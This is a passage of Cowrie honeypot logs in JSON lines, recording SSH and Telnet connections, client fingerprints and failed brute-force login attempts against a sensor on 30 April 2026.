ss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:14.358612Z","src_ip":"159.203.92.129","session":"113058140cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:14.370631Z","src_ip":"159.203.92.129","session":"113058140cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":43008,"dst_ip":"10.17.0.5","dst_port":22,"session":"9508a6451828","protocol":"ssh","message":"New connection: 112.217.199.222:43008 (10.17.0.5:22) [session: 9508a6451828]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:14.900106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:14.911394Z","src_ip":"112.217.199.222","session":"9508a6451828","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:15.110738Z","src_ip":"112.217.199.222","session":"9508a6451828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:15.379353Z","src_ip":"159.203.92.129","session":"113058140cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tttttt","message":"login attempt [root/tttttt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:15.940557Z","src_ip":"112.217.199.222","session":"9508a6451828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:17.141867Z","src_ip":"112.217.199.222","session":"9508a6451828","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.71017932891846,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:21.358749Z","src_ip":"144.79.218.12","session":"8740a4ebab1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.202475786209106,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:24.679651Z","src_ip":"144.79.218.12","session":"a1f892b75652","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.666396617889404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:26.052890Z","src_ip":"144.79.218.12","session":"77c07c5c7ec7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.256479024887085,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:37.318471Z","src_ip":"144.79.218.12","session":"4964c514371e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.97259855270386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:40.859067Z","src_ip":"144.79.218.12","session":"960e2e8c757c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":32972,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5a7fb4b19e4","protocol":"telnet","message":"New connection: 144.79.218.12:32972 (10.17.0.5:23) [session: d5a7fb4b19e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:46.002081Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":58634,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e60123eff47","protocol":"ssh","message":"New connection: 152.32.213.101:58634 (159.203.135.109:22) [session: 5e60123eff47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:51.077701Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:51.096192Z","src_ip":"152.32.213.101","session":"5e60123eff47","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:51.309901Z","src_ip":"152.32.213.101","session":"5e60123eff47","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kv123456","message":"login attempt [root/kv123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:52.177315Z","src_ip":"152.32.213.101","session":"5e60123eff47","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:53.406827Z","src_ip":"152.32.213.101","session":"5e60123eff47","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":48680,"dst_ip":"159.203.135.109","dst_port":22,"session":"e47ab715ba24","protocol":"ssh","message":"New connection: 159.203.92.129:48680 (159.203.135.109:22) [session: e47ab715ba24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:59.577018Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:59.580929Z","src_ip":"159.203.92.129","session":"e47ab715ba24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:59.585058Z","src_ip":"159.203.92.129","session":"e47ab715ba24","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"12345","message":"login attempt [alex/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:35:59.599639Z","src_ip":"159.203.92.129","session":"e47ab715ba24","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:00.641463Z","src_ip":"159.203.92.129","session":"e47ab715ba24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44844,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9e5eb3e251c","protocol":"telnet","message":"New connection: 144.79.218.12:44844 (10.17.0.5:23) [session: c9e5eb3e251c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:04.294514Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":44848,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a0409ba4c4d","protocol":"telnet","message":"New connection: 144.79.218.12:44848 (10.17.0.5:23) [session: 9a0409ba4c4d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:08.095558Z"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":60596,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f5312e9b555","protocol":"ssh","message":"New connection: 112.217.199.222:60596 (10.17.0.5:22) [session: 6f5312e9b555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:13.303627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:13.308878Z","src_ip":"112.217.199.222","session":"6f5312e9b555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:13.508051Z","src_ip":"112.217.199.222","session":"6f5312e9b555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4t5y6u7","message":"login attempt [root/q1w2e3r4t5y6u7] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:14.327970Z","src_ip":"112.217.199.222","session":"6f5312e9b555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":40526,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1ebf6a4e469","protocol":"telnet","message":"New connection: 144.79.218.12:40526 (10.17.0.5:23) [session: b1ebf6a4e469]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:15.008474Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:15.532308Z","src_ip":"112.217.199.222","session":"6f5312e9b555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.118009090423584,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:20.119972Z","src_ip":"144.79.218.12","session":"d5a7fb4b19e4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":42578,"dst_ip":"10.17.0.5","dst_port":23,"session":"31c8caf794d0","protocol":"telnet","message":"New connection: 144.79.218.12:42578 (10.17.0.5:23) [session: 31c8caf794d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:26.315549Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.218.12","src_port":41436,"dst_ip":"10.17.0.5","dst_port":23,"session":"e93fb432f7f7","protocol":"telnet","message":"New connection: 144.79.218.12:41436 (10.17.0.5:23) [session: e93fb432f7f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:38.996609Z"}
{"eventid":"cowrie.session.closed","duration":36.104812145233154,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:40.399180Z","src_ip":"144.79.218.12","session":"c9e5eb3e251c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.23311114311218,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:41.328559Z","src_ip":"144.79.218.12","session":"9a0409ba4c4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33930,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ae254279479","protocol":"ssh","message":"New connection: 159.203.92.129:33930 (159.203.135.109:22) [session: 1ae254279479]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:44.396311Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:44.401035Z","src_ip":"159.203.92.129","session":"1ae254279479","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:44.405260Z","src_ip":"159.203.92.129","session":"1ae254279479","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"123456","message":"login attempt [alex/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:44.413778Z","src_ip":"159.203.92.129","session":"1ae254279479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:45.419672Z","src_ip":"159.203.92.129","session":"1ae254279479","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.410325050354004,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:47.418749Z","src_ip":"144.79.218.12","session":"b1ebf6a4e469","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.213.101","src_port":21478,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0873c1c38d2","protocol":"ssh","message":"New connection: 152.32.213.101:21478 (159.203.135.109:22) [session: e0873c1c38d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:47.741695Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:47.748670Z","src_ip":"152.32.213.101","session":"e0873c1c38d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:47.963923Z","src_ip":"152.32.213.101","session":"e0873c1c38d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"987654321","message":"login attempt [root/987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:48.860366Z","src_ip":"152.32.213.101","session":"e0873c1c38d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:36:50.083288Z","src_ip":"152.32.213.101","session":"e0873c1c38d2","protocol":"ssh"}
